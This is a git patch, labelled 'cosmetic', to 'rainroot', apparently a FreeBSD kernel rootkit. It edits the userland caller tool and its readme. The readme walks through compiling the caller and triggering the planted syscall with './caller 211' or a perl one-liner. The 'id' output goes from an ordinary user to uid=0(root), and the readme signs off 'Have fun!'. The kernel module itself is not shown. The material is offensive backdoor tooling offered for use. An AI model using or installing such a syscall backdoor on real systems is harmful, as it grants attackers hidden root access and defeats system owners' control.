From 902b8888e8e42e02ad06768115c3639845cb67e8 Mon Sep 17 00:00:00 2001 From: your-favorite-hacker Date: Sun, 5 Jul 2015 21:29:26 +0200 Subject: [PATCH] cosmetic --- rainroot/caller.c | 8 ++++++-- rainroot/readme.txt | 14 +++++++------- 2 files changed, 13 insertions(+), 9 deletions(-) diff --git a/rainroot/caller.c b/rainroot/caller.c index 230dc1a..2a4816e 100644 --- a/rainroot/caller.c +++ b/rainroot/caller.c @@ -1,8 +1,12 @@ -/* yes, this code will segfault if you dont give it an argument */ +/* caller c tool + if you do not have a compiler, use perl: + perl -e 'syscall(211);' +*/ + #include #include -#include #include +#include void help(){ printf("rainroot caller\nuse appropiate syscallnumber (default: 210)\nexample: ./caller 210\n\nby dash\n"); diff --git a/rainroot/readme.txt b/rainroot/readme.txt index a5270dd..4e2adf7 100644 --- a/rainroot/readme.txt +++ b/rainroot/readme.txt @@ -27,25 +27,23 @@ No rainroot in kldstat, just the default kernel. userland ******** +userland tool, to call the newly loaded syscall (normally its syscall 210, depending if you got extra syscalls on your box already) In this examples it is syscall nr 211. -# userland tool, to call the newly loaded syscall (normally its syscall 210, depending if you got extra syscalls on your box already) In this examples it is syscall nr 211. - -compile it +compile it: l00ser@crashb0x:/tmp $ gcc48 caller.c -o caller -test for help +test for help: # ./caller rainroot caller use appropiate syscallnumber (default: 210) example: ./caller 210 -execute and get root +execute and get root: l00ser@crashb0x:/tmp % ./caller 211 l00ser@crashb0x:/tmp % id uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser) -besides the caller you could also go with every language or operation requesting the syscall. for instance - this perl one-liner: +besides the caller you could also go with every language or operation requesting the syscall. for instance this perl one-liner: l00ser@crashb0x:~ % id uid=1001(l00ser) gid=1001(l00ser) groups=1001(l00ser) @@ -53,6 +51,8 @@ l00ser@crashb0x:~ % perl -e 'syscall(211);' l00ser@crashb0x:~ % id uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser) +Have fun! + author ------ dash